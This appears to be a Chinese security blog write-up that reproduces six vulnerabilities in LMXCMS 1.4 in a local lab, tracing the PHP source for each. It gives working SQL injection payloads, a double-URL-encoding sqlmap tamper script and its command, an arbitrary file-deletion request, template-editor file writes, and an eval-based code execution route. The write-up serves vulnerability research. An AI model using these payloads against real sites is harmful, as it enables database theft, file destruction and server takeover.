一、环境搭建
1、源码下载:http://www.lmxcms.com/down/
2、phpstorm+xdebug调试环境
3、访问 /install 目录安装
4、安装成功后访问:
二、漏洞复现
1、前台TagsAction.class.php存在sql注入漏洞
class TagsAction extends HomeAction{
private $data;
private $tagsModel = null;
public function __construct() {
parent::__construct();
$data = p(2,1,1);
$name = string::delHtml($data['name']);
if(!$name) _404();
$name = urldecode($name);
if($this->tagsModel == null) $this->tagsModel = new TagsModel();
$this->data = $this->tagsModel->getNameData($name);
if(!$this->data) _404();
}
public function index(){
$temModel = new parse($this->smarty,$this->config);
echo $temModel->tags($this->data,$this->tagsModel);
}
}
?>
转到p函数的声明
function p($type=1,$pe=false,$sql=false,$mysql=false){
if($type == 1){
$data = $_POST;
}else if($type == 2){
$data = $_GET;
}else{
$data = $type;
}
if($sql) filter_sql($data);
if($mysql) mysql_retain($data);
foreach($data as $k => $v){
if(is_array($v)){
$newdata[$k] = p($v,$pe,$sql,$mysql);
}else{
if($pe){
$newdata[$k] = string::addslashes($v); // 在每个(',",\,NULL)前添加反斜杠
}else{
$newdata[$k] = trim($v);
}
}
}
return $newdata;
}
get方式,if($sql) filter_sql($data);转到filter_sql过滤函数
//过滤非法提交信息,防止sql注入
function filter_sql(array $data){
foreach($data as $v){
if(is_array($v)){
filter_sql($v);
}else{
//转换小写
$v = strtolower($v);
if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
rewrite::js_back('【'.$v.'】数据非法');
}
}
}
}
跟踪getNameData函数
//根据Tags名字返回id
public function getNameData($name){
$param['where'] = "name = '$name'";
return parent::oneModel($param);
}
跟踪oneModel函数
//获取一条数据
protected function oneModel($param){
return parent::oneDB($this->tab['0'],$this->field,$param);
}
跟踪oneDB函数
protected function oneDB($tab,Array $field,Array $param){
$field = implode(',',$field);
$force = '';
//强制进入某个索引
if($param['force']) $force = ' force index('.$param['force'].')';
if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
$We = $this->where($param);
$sql="SELECT ".$field." FROM ".DB_PRE."$tab$force $We limit 1";
//echo $sql;
$result=$this->query($sql);
$data = mysql_fetch_assoc($result);
return $data ? $data : array();
}
访问:http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=1,输出sql语句为:SELECT * FROM lmx_tags WHERE name = '1' limit 1
传入name参数-->url解码-->filter_sql过滤-->url二次解码
利用方式:payload url编码-->url编码
报错注入:1' and updatexml(0,concat(0x7e,user()),1)#
url编码脚本
# sqlmap/tamper/urlencode.py
import urllib.parse
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
import urllib.parse
def tamper(payload, **kwargs):
"""
对payload进行URL编码的tamper函数。
:param payload: 需要编码的原始payload字符串
:param kwargs: 额外的关键字参数(本函数不使用,但保留以兼容sqlmap的接口)
:return: URL编码后的payload字符串
"""
# 使用urllib.parse.quote进行URL编码,确保参数是字符串类型
if isinstance(payload, str):
encoded_payload = urllib.parse.quote(payload)
enencoded_payload = urllib.parse.quote(encoded_payload)
return enencoded_payload
使用sqlmap:python sqlmap.py -u "http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=1" -p "name" --proxy "http://127.0.0.1:8080" --tamper=urlencode.py
使用xdebug+phpstorm调试
传入二次url编码后name=%31%27%20%61%6e%64%20%75%70%64%61%74%65%78%6d%6c%28%30%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%75%73%65%72%28%29%29%2c%31%29%23
经过urldecode函数解码后,name=1' and updatexml(0,concat(0x7e,user()),1)#
2、前台SearchAction.class.php存在sql注入漏洞
首页有一个搜索框
搜索后url:http://127.0.0.1/lmxcms1.4/index.php?m=Search&a=index&classid=5&tem=index&field=title&keywords=1
查看对应文件函数
index函数
public function index(){
$this->param['ischild'] = 1;
$arr = $this->searchModel->getSerachField($this->param);//初始化条件
$count = $this->searchModel->searchCoutn($arr);
if($count > 0){
$page = new page($count,$GLOBALS['public']['searchnum']);
//获取列表数据
$arr['page'] = $page->returnLimit();
$arr['is_home'] = 1;
$searchData = $this->searchModel->getSearchList($arr,$this->param);
//赋值url和其他变量
foreach($searchData as $v){
$param['type'] = 'content';
$param['classid'] = $v['classid'];
$param['classpath'] = $GLOBALS['allclass'][$v['classid']]['classpath'];
$param['time'] = $v['time'];
$param['id'] = $v['id'];
$v['classname'] = $GLOBALS['allclass'][$v['classid']]['classname'];
$v['url'] = $v['url'] ? $v['url'] : url($param);
$v['classurl'] = classurl($v['classid']);
$v['classimage'] = $GLOBALS['allclass'][$v['classid']]['images'];
$v['parent_classid'] = $GLOBALS['allclass'][$v['classid']]['uid'];
$newlist[] = $v;
}
$this->smarty->assign('list',$newlist);
$this->smarty->assign('page',$page->html());
}
$this->smarty->assign('num',$count);
//获取搜索列表模板
if(!$this->param['tem']){
if($this->param['classid']){
$classtem = $GLOBALS['allclass'][$arr['classid']]['searchtem'];
$arr['tem'] = $classtem ? $classtem : 'index';
}else{
$arr['tem'] = 'index';
}
}else{
$arr['tem'] = $this->param['tem'];
}
$this->setSearchTime(); //保存搜索时间
$this->smarty->assign('title',$this->param['keywords']);
$this->smarty->assign('keywords',$this->param['keywords']);
$this->smarty->assign('description',$this->param['keywords']);
$this->smarty->display('search/'.$arr['tem'].'.html');
}
跟踪searchCoutn函数
public function searchCoutn($searchInfo){
$param = $this->sqlStr($searchInfo);
$param['force'] = 'title';
return parent::countModel($param);
}
跟踪countModel函数
protected function countModel($param=array()){
return parent::countDB($this->tab['0'],$param);
}
跟踪countDB函数
protected function countDB($tab,$param){
$We = $this->where($param);
$sql="SELECT count(1) FROM ".DB_PRE."$tab $We";
echo $sql;
$result=$this->query($sql);
$data = mysql_fetch_row($result);
$this->result($result);
return $data['0'];
}
在SearchAction.class文件中还有一个验证接收数据并返回的函数,p函数会对输入的数据进行过滤,我们可以构造参数tem、filed、time、tuijian、remen参数尝试sql注入
private function check(){
//获取get数据
$data = p(2,1,1);
$this->param['keywords'] = string::delHtml($data['keywords']);
if(!$this->param['keywords'] && $this->config['search_isnull']){
rewrite::error($this->l['search_is_keywords']);
}
$this->param['classid'] = (int)$data['classid'];
$this->param['mid'] = (int)$data['mid'];
if(!$this->param['classid'] && !$this->param['mid']) rewrite::error($this->l['search_is_param']);
if($this->param['classid'] && !isset($GLOBALS['allclass'][$this->param['classid']])){
rewrite::error($this->l['search_is_classid']);
}
if($this->param['mid'] && !isset($GLOBALS['allmodule'][$this->param['mid']])){
rewrite::error($this->l['search_is_mid']);
}
$this->param['tem'] = $data['tem'];
$this->param['field'] = $data['field'];
$this->param['time'] = $data['time'] ? $data['time'] : $this->config['search_time'];
$this->param['tuijian'] = $data['tuijian'];
$this->param['remen'] = $data['remen'];
}
经过尝试发现tuijian、remen参数可以注入
p函数中有过滤函数
if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
rewrite::js_back('【'.$v.'】数据非法');
},可以使用布尔盲注
3、后台BookAction.class.php文件存在SQL注入漏洞
public function reply(){
$id = $_GET['id'] ? $_GET['id'] : $_POST['id'];
//获取回复数据
$reply = $this->bookModel->getReply(array($id));
if($reply){
$reply = string::html_char($reply[0]['content']);
$this->smarty->assign('content',$reply);
$this->smarty->assign('type','update');
}else{
$this->smarty->assign('type','add');
}
if(isset($_POST['reply'])){
if(!$_POST['content']){
rewrite::js_back('回复内容不能为空');
}
$this->bookModel->reply(array('id'=>$id,'type'=>$_POST['type'],'username'=>$this->username));
addlog('留言回复【id:'.$_POST['id'].'】');
rewrite::succ('修改成功','?m=Book');
}
$this->smarty->assign('id',$id);
$this->smarty->display('Book/reply.html');
}
id参数可控,转到getReply函数
//根据留言id获取全部回复
public function getReply(array $id){
$id = implode(',',$id);
$param['where'] = 'uid in('.$id.')';
return parent::selectModel($param);
}
转到selectModel函数
//获取数据
protected function selectModel($param=array()){
if($param['field']){
$this->field=$param['field'];
}
return parent::selectDB($this->tab['0'],$this->field,$param);
}
转到selectDB函数
//查询
protected function selectDB($tab,Array $field,$param=array()){
$arr = array();
$field = implode(',',$field);
$force = '';
//强制进入某个索引
if($param['force']) $force = ' force index('.$param['force'].')';
if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
$sqlStr = $this->where($param);
$sql="SELECT $field FROM ".DB_PRE."$tab$force $sqlStr";
echo $sql;
$result=$this->query($sql);
while(!!$a=mysql_fetch_assoc($result)){
$arr[]=$a;
}
$this->result($result);
return $arr;
}
http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=999
可以看到sql语句为:SELECT * FROM lmx_book WHERE uid in(999)
括号闭合payload:id=9)%20and%20updatexml(0,concat(0x7e,user()),1)--+-
4、后台FileAction.class.php文件存在任意文件删除漏洞
burp抓包
url为http://127.0.0.1/lmxcms1.4/admin.php?m=Index&a=index;POST参数解码为:fid[]=7#####/lmxcms1.4/file/d/product/20140827/201408271642357617.jpg
查看FileAction.class.php文件中的delete函数
//删除
public function delete(){
if(!$_POST['fid']) rewrite::js_back('请选择要删除的文件');
$this->fileModel->delete($_POST);
addlog('删除文件、图片');
rewrite::succ('删除成功');
}
跟进delete函数声明
public function delete($data){
$param['where'][] = 'type='.$data['type'];
foreach($data['fid'] as $k => $v){
$fileInfo = explode('#####',$v);
// 用#####分割字符串
$fid[] = $fileInfo[0];
$path[] = trim($fileInfo[1],'/');
}
$fid = implode(',',$fid);
$param['where'][] = 'fid in('.$fid.')';
if(parent::deleteModel($param)){
//删除文件
foreach($path as $v){
file::unLink(ROOT_PATH.$v);
}
}
}
代码端没什么过滤,只需在路径前添加#####
调试看一下fid参数值的变化
在other文件夹下创建一个1.txt文件
构造payload:8%23%23%23%23%23/other/1.txt;发包
文件成功删除
5、后台TemplateAction.class.php任意文件写入漏洞
抓包
dir参数可控,修改为首页index.php文件
成功读取
在index.php文件添加phpinfo();后提交抓包
访问首页显示phpinfo内容。查看代码逻辑:
editfile.class.php
public function editfile(){
$dir = $_GET['dir'];
//保存修改
if(isset($_POST['settemcontent'])){
if($this->config['template_edit']){
rewrite::js_back('系统设置禁止修改模板文件');
}
file::put($this->config['template'].$dir.'/'.$_POST['filename'],string::stripslashes($_POST['temcontent']));
addlog('修改模板文件'.$this->config['template'].$dir);
rewrite::succ('修改成功','?m=Template&a=opendir&dir='.$dir);
exit();
}
$pathinfo = pathinfo($dir);
//获取文件内容
$content = string::html_char(file::getcon($this->config['template'].$dir));
$this->smarty->assign('filename',$pathinfo['basename']);
$this->smarty->assign('temcontent',$content);
$this->smarty->assign('dir',dirname($_GET['dir']));
$this->smarty->display('Template/temedit.html');
}
dir参数可控,跟进put函数
public static function put($path,$data){
if(file_put_contents($path,$data) === false)
rewrite::js_back('请检查【'.$path.'】是否有读写权限');
}
file_put_contents是 PHP 中用于将字符串写入文件的函数。如果文件不存在,它会创建一个新文件,如果文件已存在,它会覆盖文件内容。这样说的话,不用修改文件内容,可以直接创建一个新文件。
在首页目录下创建phpinfo.php,显示phpinfo内容
6、后台AcquisiAction.class.php文件存在命令执行漏洞
搜索eval函数
$date和$temdata有关,$temdata和cid有关,跟进caijiDataOne函数
public function caijiDataOne($id){
$this->cj_data_tab();
$param['where'] = 'id='.$id;
return parent::oneModel($param);
}
跟进oneModel函数
protected function oneModel($param){
return parent::oneDB($this->tab['0'],$this->field,$param);
}
跟进oneDB函数
protected function oneDB($tab,Array $field,Array $param){
$field = implode(',',$field);
$force = '';
//强制进入某个索引
if($param['force']) $force = ' force index('.$param['force'].')';
if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
$We = $this->where($param);
$sql="SELECT ".$field." FROM ".DB_PRE."$tab$force $We limit 1";
$result=$this->query($sql);
$data = mysql_fetch_assoc($result);
return $data ? $data : array();
}
执行了一条sql语句,把输出结果传给$data,调试一下看参数如何传递
sql语句为select * from lmx_cj_data where id=33 limit 1;但是$data值为false,有点疑惑,登上数据库看一下
表中id=33的data为空,我们插入一条数据id=11,我们传入的cid值就是表中的id
传入cid=11&lid=4&id=1构造payload:/lmxcms1.4/admin.php?m=Acquisi&a=showCjData&id=1&cid=11&lid=4
成功执行命令,但是如果我们不能直接操作数据库,那是不是就没有这个漏洞了呢
网站有一个功能点,可以执行sql语句
插入一条id=2&lid=3&data=phpinfo();的数据
成功执行代码
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)